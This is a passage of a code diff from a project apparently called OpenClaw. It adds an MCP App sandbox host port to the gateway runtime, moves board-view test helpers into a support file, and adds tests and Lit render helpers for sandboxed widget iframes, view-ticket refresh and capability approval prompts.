params.cfg.mcp?.apps?.sandboxPort,
|
||||
);
|
||||
for (const host of httpBindHosts) {
|
||||
const index = bindHosts.indexOf(host);
|
||||
const server = mcpAppSandboxServers[index];
|
||||
if (!server) {
|
||||
throw new Error(`Missing MCP App sandbox HTTP server for bind host ${host}`);
|
||||
}
|
||||
await listenGatewayHttpServer({
|
||||
httpServer: server,
|
||||
bindHost: host,
|
||||
port: mcpAppSandboxPort,
|
||||
retryEaddrinuse: false,
|
||||
serviceName: "MCP App sandbox",
|
||||
endpointScheme: params.gatewayTls?.enabled ? "https" : "http",
|
||||
});
|
||||
}
|
||||
if (params.cfg.mcp?.apps?.enabled === true) {
|
||||
await startSandboxHost();
|
||||
}
|
||||
if (workerHttpServer) {
|
||||
await listenGatewayHttpServer({
|
||||
@@ -448,6 +504,7 @@ export async function createGatewayRuntimeState(params: {
|
||||
workerIngressPort = address.port;
|
||||
httpServers.push(workerHttpServer);
|
||||
}
|
||||
startListeningComplete = true;
|
||||
})();
|
||||
await startListeningPromise;
|
||||
};
|
||||
@@ -502,6 +559,7 @@ export async function createGatewayRuntimeState(params: {
|
||||
? undefined
|
||||
: { host: "127.0.0.1" as const, port: workerIngressPort },
|
||||
getMcpAppSandboxPort: () => mcpAppSandboxPort,
|
||||
ensureSandboxHostPort,
|
||||
};
|
||||
} catch (err) {
|
||||
// If state creation fails after pins are installed, release them immediately so later
|
||||
|
||||
@@ -1209,6 +1209,7 @@ export async function startGatewayServer(
|
||||
sessionMessageSubscribers,
|
||||
getWorkerIngressEndpoint,
|
||||
getMcpAppSandboxPort,
|
||||
ensureSandboxHostPort,
|
||||
} = await startupTrace.measure("runtime.state", () =>
|
||||
createGatewayRuntimeState({
|
||||
cfg: cfgAtStart,
|
||||
@@ -1952,6 +1953,7 @@ export async function startGatewayServer(
|
||||
runtimeState,
|
||||
getRuntimeConfig,
|
||||
getMcpAppSandboxPort,
|
||||
ensureSandboxHostPort,
|
||||
resolveTerminalLaunchPolicy: terminalLaunchPolicy.resolve,
|
||||
isTerminalEnabled: terminalLaunchPolicy.isEnabled,
|
||||
execApprovalManager,
|
||||
|
||||
@@ -0,0 +1,130 @@
|
||||
import { vi } from "vitest";
|
||||
import type { GatewaySessionRow } from "../../api/types.ts";
|
||||
import type { RouteId } from "../../app-route-paths.ts";
|
||||
import type { ApplicationContext } from "../../app/context.ts";
|
||||
import type { BoardWidget } from "../../lib/board/types.ts";
|
||||
import type { BoardViewCallbacks, BoardViewSnapshot } from "../../lib/board/view-types.ts";
|
||||
import { createApplicationContextProvider } from "../../test-helpers/application-context.ts";
|
||||
|
||||
type OpenClawBoardView = HTMLElementTagNameMap["openclaw-board-view"];
|
||||
type OpenClawBoardWidgetCell = HTMLElementTagNameMap["openclaw-board-widget-cell"];
|
||||
|
||||
export function boardWidget(overrides: Partial<BoardWidget> = {}): BoardWidget {
|
||||
return {
|
||||
name: "alpha",
|
||||
tabId: "main",
|
||||
title: "Alpha status",
|
||||
contentKind: "html",
|
||||
sizeW: 6,
|
||||
sizeH: 4,
|
||||
position: 0,
|
||||
grantState: "none",
|
||||
revision: 1,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
export function snapshot(overrides: Partial<BoardViewSnapshot> = {}): BoardViewSnapshot {
|
||||
return {
|
||||
sessionKey: "agent:main:test",
|
||||
revision: 1,
|
||||
tabs: [
|
||||
{ tabId: "main", title: "Main", position: 0, chatDock: "right" },
|
||||
{ tabId: "ops", title: "Operations", position: 1, chatDock: "bottom" },
|
||||
],
|
||||
widgets: [
|
||||
boardWidget(),
|
||||
boardWidget({
|
||||
name: "beta",
|
||||
title: "Beta chart",
|
||||
sizeW: 6,
|
||||
position: 1,
|
||||
revision: 2,
|
||||
}),
|
||||
boardWidget({
|
||||
name: "ops-only",
|
||||
title: "Queue depth",
|
||||
tabId: "ops",
|
||||
sizeW: 12,
|
||||
}),
|
||||
],
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
export function callbacks(overrides: Partial<BoardViewCallbacks> = {}): BoardViewCallbacks {
|
||||
return {
|
||||
applyOps: vi.fn(async () => undefined),
|
||||
grant: vi.fn(async () => undefined),
|
||||
selectTab: vi.fn(),
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
export function gatewayContext(client: { request: ReturnType<typeof vi.fn> } | null) {
|
||||
return {
|
||||
gateway: {
|
||||
connection: { gatewayUrl: "" },
|
||||
snapshot: { client },
|
||||
},
|
||||
} as unknown as ApplicationContext<RouteId>;
|
||||
}
|
||||
|
||||
export function deferred(): {
|
||||
promise: Promise<void>;
|
||||
resolve: () => void;
|
||||
reject: (error: Error) => void;
|
||||
} {
|
||||
let resolve: () => void = () => undefined;
|
||||
let reject: (error: Error) => void = () => undefined;
|
||||
const promise = new Promise<void>((resolvePromise, rejectPromise) => {
|
||||
resolve = resolvePromise;
|
||||
reject = rejectPromise;
|
||||
});
|
||||
return { promise, resolve, reject };
|
||||
}
|
||||
|
||||
export function deferredValue<T>(): {
|
||||
promise: Promise<T>;
|
||||
resolve: (value: T) => void;
|
||||
} {
|
||||
let resolve: (value: T) => void = () => undefined;
|
||||
const promise = new Promise<T>((resolvePromise) => {
|
||||
resolve = resolvePromise;
|
||||
});
|
||||
return { promise, resolve };
|
||||
}
|
||||
|
||||
export async function settleCells(view: OpenClawBoardView): Promise<OpenClawBoardWidgetCell[]> {
|
||||
await view.updateComplete;
|
||||
const cells = [...view.querySelectorAll("openclaw-board-widget-cell")];
|
||||
await Promise.all(cells.map((cell) => cell.updateComplete));
|
||||
return cells;
|
||||
}
|
||||
|
||||
export async function mount(
|
||||
options: {
|
||||
snapshot?: BoardViewSnapshot;
|
||||
activeTabId?: string;
|
||||
callbacks?: BoardViewCallbacks;
|
||||
widgetFrameUrl?: (name: string, revision: number) => string;
|
||||
sessions?: readonly GatewaySessionRow[];
|
||||
context?: ApplicationContext<RouteId>;
|
||||
} = {},
|
||||
): Promise<OpenClawBoardView> {
|
||||
const view = document.createElement("openclaw-board-view");
|
||||
view.snapshot = options.snapshot ?? snapshot();
|
||||
view.activeTabId = options.activeTabId ?? "main";
|
||||
view.widgetFrameUrl = options.widgetFrameUrl ?? (() => "about:blank");
|
||||
view.callbacks = options.callbacks ?? callbacks();
|
||||
view.sessions = options.sessions ?? [];
|
||||
if (options.context) {
|
||||
const provider = createApplicationContextProvider(options.context);
|
||||
provider.append(view);
|
||||
document.body.append(provider);
|
||||
} else {
|
||||
document.body.append(view);
|
||||
}
|
||||
await settleCells(view);
|
||||
return view;
|
||||
}
|
||||
@@ -1,122 +1,23 @@
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import type { GatewaySessionRow } from "../../api/types.ts";
|
||||
import type { BoardSnapshot, BoardWidget } from "../../lib/board/types.ts";
|
||||
import type {
|
||||
BoardViewCallbacks,
|
||||
BoardViewSnapshot,
|
||||
BoardViewWidget,
|
||||
} from "../../lib/board/view-types.ts";
|
||||
import type { BoardSnapshot } from "../../lib/board/types.ts";
|
||||
import type { BoardViewWidget } from "../../lib/board/view-types.ts";
|
||||
import { recordBoardWidgetTicketReceipt } from "../../lib/board/widget-ticket-lifetime.ts";
|
||||
import { createApplicationContextProvider } from "../../test-helpers/application-context.ts";
|
||||
import { applyBoardFixtureOps } from "../../test-helpers/board-fixture.ts";
|
||||
import {
|
||||
boardWidget,
|
||||
callbacks,
|
||||
deferred,
|
||||
deferredValue,
|
||||
gatewayContext,
|
||||
mount,
|
||||
settleCells,
|
||||
snapshot,
|
||||
} from "./board-view.test-support.ts";
|
||||
import "./board-view.ts";
|
||||
|
||||
type OpenClawBoardView = HTMLElementTagNameMap["openclaw-board-view"];
|
||||
type OpenClawBoardWidgetCell = HTMLElementTagNameMap["openclaw-board-widget-cell"];
|
||||
|
||||
function boardWidget(overrides: Partial<BoardWidget> = {}): BoardWidget {
|
||||
return {
|
||||
name: "alpha",
|
||||
tabId: "main",
|
||||
title: "Alpha status",
|
||||
contentKind: "html",
|
||||
sizeW: 6,
|
||||
sizeH: 4,
|
||||
position: 0,
|
||||
grantState: "none",
|
||||
revision: 1,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function snapshot(overrides: Partial<BoardViewSnapshot> = {}): BoardViewSnapshot {
|
||||
return {
|
||||
sessionKey: "agent:main:test",
|
||||
revision: 1,
|
||||
tabs: [
|
||||
{ tabId: "main", title: "Main", position: 0, chatDock: "right" },
|
||||
{ tabId: "ops", title: "Operations", position: 1, chatDock: "bottom" },
|
||||
],
|
||||
widgets: [
|
||||
boardWidget(),
|
||||
boardWidget({
|
||||
name: "beta",
|
||||
title: "Beta chart",
|
||||
sizeW: 6,
|
||||
position: 1,
|
||||
revision: 2,
|
||||
}),
|
||||
boardWidget({
|
||||
name: "ops-only",
|
||||
title: "Queue depth",
|
||||
tabId: "ops",
|
||||
sizeW: 12,
|
||||
}),
|
||||
],
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function callbacks(overrides: Partial<BoardViewCallbacks> = {}): BoardViewCallbacks {
|
||||
return {
|
||||
applyOps: vi.fn(async () => undefined),
|
||||
grant: vi.fn(async () => undefined),
|
||||
selectTab: vi.fn(),
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function deferred(): {
|
||||
promise: Promise<void>;
|
||||
resolve: () => void;
|
||||
reject: (error: Error) => void;
|
||||
} {
|
||||
let resolve: () => void = () => undefined;
|
||||
let reject: (error: Error) => void = () => undefined;
|
||||
const promise = new Promise<void>((resolvePromise, rejectPromise) => {
|
||||
resolve = resolvePromise;
|
||||
reject = rejectPromise;
|
||||
});
|
||||
return { promise, resolve, reject };
|
||||
}
|
||||
|
||||
function deferredValue<T>(): {
|
||||
promise: Promise<T>;
|
||||
resolve: (value: T) => void;
|
||||
} {
|
||||
let resolve: (value: T) => void = () => undefined;
|
||||
const promise = new Promise<T>((resolvePromise) => {
|
||||
resolve = resolvePromise;
|
||||
});
|
||||
return { promise, resolve };
|
||||
}
|
||||
|
||||
async function settleCells(view: OpenClawBoardView): Promise<OpenClawBoardWidgetCell[]> {
|
||||
await view.updateComplete;
|
||||
const cells = [...view.querySelectorAll("openclaw-board-widget-cell")];
|
||||
await Promise.all(cells.map((cell) => cell.updateComplete));
|
||||
return cells;
|
||||
}
|
||||
|
||||
async function mount(
|
||||
options: {
|
||||
snapshot?: BoardViewSnapshot;
|
||||
activeTabId?: string;
|
||||
callbacks?: BoardViewCallbacks;
|
||||
widgetFrameUrl?: (name: string, revision: number) => string;
|
||||
sessions?: readonly GatewaySessionRow[];
|
||||
} = {},
|
||||
): Promise<OpenClawBoardView> {
|
||||
const view = document.createElement("openclaw-board-view");
|
||||
view.snapshot = options.snapshot ?? snapshot();
|
||||
view.activeTabId = options.activeTabId ?? "main";
|
||||
view.widgetFrameUrl = options.widgetFrameUrl ?? (() => "about:blank");
|
||||
view.callbacks = options.callbacks ?? callbacks();
|
||||
view.sessions = options.sessions ?? [];
|
||||
document.body.append(view);
|
||||
await settleCells(view);
|
||||
return view;
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
vi.useRealTimers();
|
||||
document.body.replaceChildren();
|
||||
vi.unstubAllGlobals();
|
||||
vi.useRealTimers();
|
||||
@@ -180,6 +81,147 @@ describe("openclaw-board-view", () => {
|
||||
expect(view.querySelector(".board-widget__resize-handle")).toBeNull();
|
||||
});
|
||||
|
||||
it("renders the shared sandbox for an empty same-origin gateway URL", async () => {
|
||||
const view = await mount({
|
||||
context: gatewayContext(null),
|
||||
snapshot: snapshot({
|
||||
widgets: [
|
||||
boardWidget({
|
||||
sandboxUrl: "/mcp-app-sandbox",
|
||||
sandboxPort: 18790,
|
||||
viewTicket: "ticket",
|
||||
}),
|
||||
],
|
||||
}),
|
||||
widgetFrameUrl: () => "/__openclaw__/board/session/alpha/index.html?bt=ticket",
|
||||
});
|
||||
|
||||
const frame = view.querySelector("iframe");
|
||||
expect(frame?.getAttribute("src")).toContain(":18790/mcp-app-sandbox");
|
||||
expect(frame?.getAttribute("loading")).toBe("eager");
|
||||
expect(view.querySelector('[data-test-id="board-widget-error"]')).toBeNull();
|
||||
});
|
||||
|
||||
it("bounds the wait for a sandbox proxy that never becomes ready", async () => {
|
||||
vi.useFakeTimers();
|
||||
const frameLoadFailed = vi.fn(async () => undefined);
|
||||
const view = await mount({
|
||||
context: gatewayContext(null),
|
||||
callbacks: callbacks({ frameLoadFailed }),
|
||||
snapshot: snapshot({
|
||||
widgets: [
|
||||
boardWidget({
|
||||
sandboxUrl: "/mcp-app-sandbox",
|
||||
sandboxPort: 18790,
|
||||
viewTicket: "ticket",
|
||||
}),
|
||||
],
|
||||
}),
|
||||
widgetFrameUrl: () => "/__openclaw__/board/session/alpha/index.html?bt=ticket",
|
||||
});
|
||||
|
||||
await vi.advanceTimersByTimeAsync(30_000);
|
||||
expect(frameLoadFailed).toHaveBeenCalledTimes(3);
|
||||
await settleCells(view);
|
||||
expect(view.querySelector('[data-test-id="board-widget-error"]')?.textContent).toContain(
|
||||
"repeated refresh attempts",
|
||||
);
|
||||
});
|
||||
|
||||
it("updates the sandbox bridge when the application Gateway client reconnects", async () => {
|
||||
const firstRequest = vi.fn(async () => ({ ok: true }));
|
||||
const secondRequest = vi.fn(async () => ({ ok: true }));
|
||||
const fetchMock = vi.fn(async () => new Response("<!doctype html><p>weather</p>"));
|
||||
vi.stubGlobal("fetch", fetchMock);
|
||||
const view = await mount({
|
||||
context: gatewayContext({ request: firstRequest }),
|
||||
snapshot: snapshot({
|
||||
widgets: [
|
||||
boardWidget({
|
||||
sandboxUrl: "/mcp-app-sandbox",
|
||||
sandboxPort: 18790,
|
||||
viewTicket: "ticket",
|
||||
}),
|
||||
],
|
||||
}),
|
||||
widgetFrameUrl: () => "/__openclaw__/board/session/alpha/index.html?bt=ticket",
|
||||
});
|
||||
const cell = view.querySelector("openclaw-board-widget-cell")!;
|
||||
const frame = cell.querySelector("iframe")!;
|
||||
const sandboxOrigin = new URL(frame.src).origin;
|
||||
const send = (data: unknown, ports: MessagePort[] = []) =>
|
||||
window.dispatchEvent(
|
||||
new MessageEvent("message", {
|
||||
source: frame.contentWindow,
|
||||
origin: sandboxOrigin,
|
||||
data,
|
||||
ports,
|
||||
}),
|
||||
);
|
||||
|
||||
send({
|
||||
method: "ui/notifications/sandbox-proxy-ready",
|
||||
params: { sandboxUrl: frame.src },
|
||||
});
|
||||
await vi.waitFor(() => expect(fetchMock).toHaveBeenCalledOnce());
|
||||
const bridgeChannel = new MessageChannel();
|
||||
const initialized = new Promise<void>((resolve) => {
|
||||
bridgeChannel.port2.addEventListener("message", (event) => {
|
||||
if (event.data?.type !== "openclaw:widget-host-init") {
|
||||
return;
|
||||
}
|
||||
bridgeChannel.port2.postMessage(
|
||||
{
|
||||
type: "openclaw:widget-host-init-ack",
|
||||
ticket: event.data.ticket,
|
||||
},
|
||||
[],
|
||||
);
|
||||
resolve();
|
||||
});
|
||||
});
|
||||
bridgeChannel.port2.start();
|
||||
send({ type: "openclaw:widget-bridge-port-offer" }, [bridgeChannel.port1]);
|
||||
await initialized;
|
||||
bridgeChannel.port2.postMessage(
|
||||
{
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: "before-reconnect",
|
||||
method: "state.emit",
|
||||
params: { payload: { status: "connecting" } },
|
||||
ticket: "ticket",
|
||||
},
|
||||
[],
|
||||
);
|
||||
await vi.waitFor(() =>
|
||||
expect(firstRequest).toHaveBeenCalledWith("board.event", {
|
||||
ticket: "ticket",
|
||||
payload: { status: "connecting" },
|
||||
}),
|
||||
);
|
||||
|
||||
const provider = view.parentElement as ReturnType<typeof createApplicationContextProvider>;
|
||||
provider.setContext(gatewayContext({ request: secondRequest }));
|
||||
await cell.updateComplete;
|
||||
bridgeChannel.port2.postMessage(
|
||||
{
|
||||
type: "openclaw:widget-bridge-request",
|
||||
id: "after-reconnect",
|
||||
method: "state.emit",
|
||||
params: { payload: { status: "online" } },
|
||||
ticket: "ticket",
|
||||
},
|
||||
[],
|
||||
);
|
||||
|
||||
await vi.waitFor(() =>
|
||||
expect(secondRequest).toHaveBeenCalledWith("board.event", {
|
||||
ticket: "ticket",
|
||||
payload: { status: "online" },
|
||||
}),
|
||||
);
|
||||
expect(firstRequest).toHaveBeenCalledOnce();
|
||||
});
|
||||
it("requests a fresh frame ticket after iframe errors or 401 loads", async () => {
|
||||
const frameLoadFailed = vi.fn(async () => undefined);
|
||||
const fetchMock = vi.fn(async () => new Response("expired", { status: 401 }));
|
||||
@@ -201,6 +243,115 @@ describe("openclaw-board-view", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("retries proactive ticket refresh without replacing the current view", async () => {
|
||||
vi.useFakeTimers();
|
||||
const frameLoadFailed = vi
|
||||
.fn<() => Promise<void>>()
|
||||
.mockRejectedValueOnce(new Error("gateway reconnecting"))
|
||||
.mockResolvedValue(undefined);
|
||||
const view = await mount({
|
||||
callbacks: callbacks({ frameLoadFailed }),
|
||||
snapshot: snapshot({
|
||||
widgets: [
|
||||
boardWidget({
|
||||
viewTicket: "ticket",
|
||||
viewTicketTtlMs: 15_000,
|
||||
}),
|
||||
],
|
||||
}),
|
||||
});
|
||||
const cell = view.querySelector("openclaw-board-widget-cell")!;
|
||||
|
||||
await vi.advanceTimersByTimeAsync(1_000);
|
||||
expect(frameLoadFailed).toHaveBeenCalledTimes(1);
|
||||
expect((cell as unknown as { frame: { error: string } }).frame.error).toBe("");
|
||||
|
||||
await vi.advanceTimersByTimeAsync(1_000);
|
||||
expect(frameLoadFailed).toHaveBeenCalledTimes(2);
|
||||
expect((cell as unknown as { frame: { error: string } }).frame.error).toBe("");
|
||||
|
||||
await vi.advanceTimersByTimeAsync(1_999);
|
||||
expect(frameLoadFailed).toHaveBeenCalledTimes(2);
|
||||
await vi.advanceTimersByTimeAsync(1);
|
||||
expect(frameLoadFailed).toHaveBeenCalledTimes(3);
|
||||
});
|
||||
|
||||
it("schedules proactive refresh from the relative ticket TTL", async () => {
|
||||
vi.useFakeTimers();
|
||||
vi.setSystemTime(new Date("2099-01-01T00:00:00Z"));
|
||||
const frameLoadFailed = vi.fn(async () => undefined);
|
||||
await mount({
|
||||
callbacks: callbacks({ frameLoadFailed }),
|
||||
snapshot: snapshot({
|
||||
widgets: [
|
||||
boardWidget({
|
||||
viewTicket: "ticket",
|
||||
viewTicketTtlMs: 20_000,
|
||||
}),
|
||||
],
|
||||
}),
|
||||
});
|
||||
|
||||
await vi.advanceTimersByTimeAsync(4_999);
|
||||
expect(frameLoadFailed).not.toHaveBeenCalled();
|
||||
await vi.advanceTimersByTimeAsync(1);
|
||||
expect(frameLoadFailed).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
it("schedules proactive refresh from a delayed mount's remaining ticket lifetime", async () => {
|
||||
vi.useFakeTimers();
|
||||
vi.setSystemTime(new Date("2099-01-01T00:00:00Z"));
|
||||
const frameLoadFailed = vi.fn(async () => undefined);
|
||||
const delayedWidget = boardWidget({
|
||||
viewTicket: "ticket",
|
||||
viewTicketTtlMs: 30_000,
|
||||
});
|
||||
recordBoardWidgetTicketReceipt(delayedWidget);
|
||||
await vi.advanceTimersByTimeAsync(10_000);
|
||||
|
||||
await mount({
|
||||
callbacks: callbacks({ frameLoadFailed }),
|
||||
snapshot: snapshot({ widgets: [delayedWidget] }),
|
||||
});
|
||||
|
||||
await vi.advanceTimersByTimeAsync(4_999);
|
||||
expect(frameLoadFailed).not.toHaveBeenCalled();
|
||||
await vi.advanceTimersByTimeAsync(1);
|
||||
expect(frameLoadFailed).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
it("keeps retrying proactive ticket refresh after the initial outage", async () => {
|
||||
vi.useFakeTimers();
|
||||
const frameLoadFailed = vi
|
||||
.fn<() => Promise<void>>()
|
||||
.mockRejectedValueOnce(new Error("gateway reconnecting"))
|
||||
.mockRejectedValueOnce(new Error("gateway reconnecting"))
|
||||
.mockRejectedValueOnce(new Error("gateway reconnecting"))
|
||||
.mockRejectedValueOnce(new Error("gateway reconnecting"))
|
||||
.mockResolvedValue(undefined);
|
||||
const view = await mount({
|
||||
callbacks: callbacks({ frameLoadFailed }),
|
||||
snapshot: snapshot({
|
||||
widgets: [
|
||||
boardWidget({
|
||||
viewTicket: "ticket",
|
||||
viewTicketTtlMs: 15_000,
|
||||
}),
|
||||
],
|
||||
}),
|
||||
});
|
||||
const cell = view.querySelector("openclaw-board-widget-cell")!;
|
||||
|
||||
await vi.advanceTimersByTimeAsync(1_000);
|
||||
await vi.advanceTimersByTimeAsync(1_000);
|
||||
await vi.advanceTimersByTimeAsync(2_000);
|
||||
await vi.advanceTimersByTimeAsync(3_000);
|
||||
await vi.advanceTimersByTimeAsync(4_000);
|
||||
|
||||
expect(frameLoadFailed).toHaveBeenCalledTimes(5);
|
||||
expect((cell as unknown as { frame: { error: string } }).frame.error).toBe("");
|
||||
});
|
||||
|
||||
it("bounds repeated frame ticket refreshes after persistent 401 responses", async () => {
|
||||
const frameLoadFailed = vi.fn(async () => undefined);
|
||||
let frameStatus = 401;
|
||||
@@ -599,7 +750,8 @@ describe("openclaw-board-view", () => {
|
||||
widgets: [
|
||||
boardWidget({
|
||||
grantState: "pending",
|
||||
declaredSummary: ["Network: api.example.com", "Tools: lookup"],
|
||||
declaredSummary: ["Network access: https://api.example.com", "Tool access: lookup"],
|
||||
declared: { netOrigins: ["https://api.example.com"], tools: ["lookup"] },
|
||||
}),
|
||||
],
|
||||
});
|
||||
@@ -607,10 +759,32 @@ describe("openclaw-board-view", () => {
|
||||
const pending = view.querySelector('[data-test-id="board-pending"]');
|
||||
|
||||
expect(pending?.querySelectorAll(".board-widget__grant-summary li")).toHaveLength(2);
|
||||
expect(pending?.textContent).toContain("Network: api.example.com");
|
||||
expect(pending?.textContent).toContain("Network origins");
|
||||
expect(pending?.textContent).toContain("https://api.example.com");
|
||||
expect(pending?.textContent).toContain("Host tools and data");
|
||||
expect(pending?.textContent).not.toContain("This widget requested additional access.");
|
||||
});
|
||||
|
||||
it("shows granted capabilities in a compact chip and tooltip", async () => {
|
||||
const source = snapshot({
|
||||
widgets: [
|
||||
boardWidget({
|
||||
grantState: "granted",
|
||||
declared: { netOrigins: ["https://api.example.com"], tools: ["health"] },
|
||||
}),
|
||||
],
|
||||
});
|
||||
const view = await mount({ snapshot: source });
|
||||
const chip = view.querySelector('[data-test-id="board-capabilities-granted"]');
|
||||
const tooltip = chip?.closest("openclaw-tooltip") as
|
||||
| (HTMLElement & { content?: string })
|
||||
| null;
|
||||
|
||||
expect(chip?.textContent?.trim()).toBe("Granted");
|
||||
expect(tooltip?.content).toContain("Network: https://api.example.com");
|
||||
expect(tooltip?.content).toContain("Tool: health");
|
||||
});
|
||||
|
||||
it("serializes pending approval decisions while the callback is in flight", async () => {
|
||||
let finishGrant: (() => void) | undefined;
|
||||
const grant = vi.fn(
|
||||
@@ -683,6 +857,17 @@ describe("openclaw-board-view", () => {
|
||||
expect(view.querySelectorAll("iframe")).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("does not downgrade snapshots that advertise the shared sandbox contract", async () => {
|
||||
const view = await mount({
|
||||
snapshot: snapshot({ widgets: [boardWidget({ viewTicket: "ticket" })] }),
|
||||
});
|
||||
|
||||
expect(view.querySelector("iframe")).toBeNull();
|
||||
expect(view.querySelector('[data-test-id="board-widget-error"]')?.textContent).toContain(
|
||||
"Widget sandbox host is unavailable.",
|
||||
);
|
||||
});
|
||||
|
||||
it("renders the friendly empty state", async () => {
|
||||
const view = await mount({ snapshot: snapshot({ widgets: [] }) });
|
||||
expect(view.querySelector('[data-test-id="board-empty"]')?.textContent).toContain(
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
import { html, nothing, type TemplateResult } from "lit";
|
||||
import { t } from "../../i18n/index.ts";
|
||||
import type { BoardGrantDecision, BoardViewWidget } from "../../lib/board/view-types.ts";
|
||||
|
||||
export function renderBoardPendingCapabilities(options: {
|
||||
widget: BoardViewWidget;
|
||||
disabled: boolean;
|
||||
onGrant: (decision: BoardGrantDecision) => void;
|
||||
error?: TemplateResult;
|
||||
}): TemplateResult {
|
||||
const { widget } = options;
|
||||
const netOrigins = widget.declared?.netOrigins ?? [];
|
||||
const tools = widget.declared?.tools ?? [];
|
||||
return html`
|
||||
<div class="board-widget__grant board-widget__grant--pending" data-test-id="board-pending">
|
||||
<div class="board-widget__grant-mark" aria-hidden="true">!</div>
|
||||
<strong>${t("board.widget.needsApproval")}</strong>
|
||||
${netOrigins.length > 0 || tools.length > 0
|
||||
? html`<div class="board-widget__grant-groups">
|
||||
${netOrigins.length > 0
|
||||
? html`<section>
|
||||
<strong>${t("board.widget.networkAccess")}</strong>
|
||||
<ul class="board-widget__grant-summary">
|
||||
${netOrigins.map((origin) => html`<li>${origin}</li>`)}
|
||||
</ul>
|
||||
</section>`
|
||||
: nothing}
|
||||
${tools.length > 0
|
||||
? html`<section>
|
||||
<strong>${t("board.widget.hostTools")}</strong>
|
||||
<ul class="board-widget__grant-summary">
|
||||
${tools.map((tool) => html`<li>${tool}</li>`)}
|
||||
</ul>
|
||||
</section>`
|
||||
: nothing}
|
||||
</div>`
|
||||
: widget.declaredSummary?.length
|
||||
? html`<ul class="board-widget__grant-summary">
|
||||
${widget.declaredSummary.map((summary) => html`<li>${summary}</li>`)}
|
||||
</ul>`
|
||||
: html`<span>${t("board.widget.needsApprovalDetail")}</span>`}
|
||||
<div class="board-widget__grant-actions">
|
||||
<button
|
||||
class="btn btn--small btn--primary"
|
||||
type="button"
|
||||
data-test-id="board-grant-allow"
|
||||
?disabled=${options.disabled}
|
||||
@click=${() => options.onGrant("granted")}
|
||||
>
|
||||
${t("board.widget.allow")}
|
||||
</button>
|
||||
<button
|
||||
class="btn btn--small"
|
||||
type="button"
|
||||
data-test-id="board-grant-reject"
|
||||
?disabled=${options.disabled}
|
||||
@click=${() => options.onGrant("rejected")}
|
||||
>
|
||||
${t("board.widget.reject")}
|
||||
</button>
|
||||
</div>
|
||||
${options.error ?? nothing}
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
|
||||
export function renderBoardGrantedCapabilities(
|
||||
widget: BoardViewWidget,
|
||||
): TemplateResult | typeof nothing {
|
||||
if (widget.grantState !== "granted" || !widget.declared) {
|
||||
return nothing;
|
||||
}
|
||||
const capabilities = [
|
||||
...(widget.declared.netOrigins ?? []).map((origin) =>
|
||||
t("board.widget.networkCapability", { capability: origin }),
|
||||
),
|
||||
...(widget.declared.tools ?? []).map((tool) =>
|
||||
t("board.widget.toolCapability", { capability: tool }),
|
||||
),
|
||||
];
|
||||
if (capabilities.length === 0) {
|
||||
return nothing;
|
||||
}
|
||||
return html`
|
||||
<openclaw-tooltip
|
||||
.content=${`${t("board.widget.activeCapabilities")}\n${capabilities.join("\n")}`}
|
||||
>
|
||||
<span class="board-widget__capabilities" data-test-id="board-capabilities-granted">
|
||||
${t("board.widget.granted")}
|
||||
</span>
|
||||
</openclaw-tooltip>
|
||||
`;
|
||||
}
|
||||
@@ -0,0 +1,130 @@
|
||||
import { html, type TemplateResult } from "lit";
|
||||
import { t } from "../../i18n/index.ts";
|
||||
import type { BoardTab } from "../../lib/board/types.ts";
|
||||
import type { BoardGrantDecision, BoardViewWidget } from "../../lib/board/view-types.ts";
|
||||
import { renderBoardPendingCapabilities } from "./board-widget-capabilities.ts";
|
||||
|
||||
export const BOARD_SIZE_PRESETS = {
|
||||
sm: { w: 3, h: 3 },
|
||||
md: { w: 6, h: 4 },
|
||||
lg: { w: 8, h: 6 },
|
||||
xl: { w: 12, h: 8 },
|
||||
} as const;
|
||||
|
||||
export function closeBoardWidgetMenu(root: ParentNode): void {
|
||||
const menu = root.querySelector<HTMLElement & { open: boolean }>(".board-widget__menu");
|
||||
if (menu) {
|
||||
menu.open = false;
|
||||
}
|
||||
}
|
||||
|
||||
export function renderBoardWidgetMenu(options: {
|
||||
widget: BoardViewWidget;
|
||||
tabs: readonly BoardTab[];
|
||||
disabled: boolean;
|
||||
onSelect: (event: CustomEvent<{ item: { value?: string } }>) => void;
|
||||
}): TemplateResult {
|
||||
const { widget, tabs, disabled, onSelect } = options;
|
||||
const otherTabs = tabs.filter((tab) => tab.tabId !== widget.tabId);
|
||||
return html`
|
||||
<wa-dropdown class="board-widget__menu" placement="bottom-end" @wa-select=${onSelect}>
|
||||
<button
|
||||
class="board-widget__menu-trigger"
|
||||
slot="trigger"
|
||||
type="button"
|
||||
aria-label=${t("board.widget.menuLabel")}
|
||||
title=${t("board.widget.menuLabel")}
|
||||
>
|
||||
⋮
|
||||
</button>
|
||||
<div class="board-widget__menu-heading">${t("board.widget.moveToTab")}</div>
|
||||
${otherTabs.length > 0
|
||||
? otherTabs.map(
|
||||
(tab) => html`
|
||||
<wa-dropdown-item value=${`move:${tab.tabId}`} ?disabled=${disabled}>
|
||||
${tab.title}
|
||||
</wa-dropdown-item>
|
||||
`,
|
||||
)
|
||||
: html`<span class="board-widget__menu-empty">${t("board.widget.noOtherTabs")}</span>`}
|
||||
<div class="board-widget__menu-heading">${t("board.widget.resize")}</div>
|
||||
${Object.entries(BOARD_SIZE_PRESETS).map(
|
||||
([label, size]) => html`
|
||||
<wa-dropdown-item
|
||||
class="board-widget__preset"
|
||||
value=${`resize:${label}`}
|
||||
?disabled=${disabled}
|
||||
>
|
||||
${label.toUpperCase()}
|
||||
<span slot="details">${size.w}×${size.h}</span>
|
||||
</wa-dropdown-item>
|
||||
`,
|
||||
)}
|
||||
<div class="board-widget__menu-separator" role="separator"></div>
|
||||
<wa-dropdown-item class="board-widget__menu-danger" value="remove" ?disabled=${disabled}>
|
||||
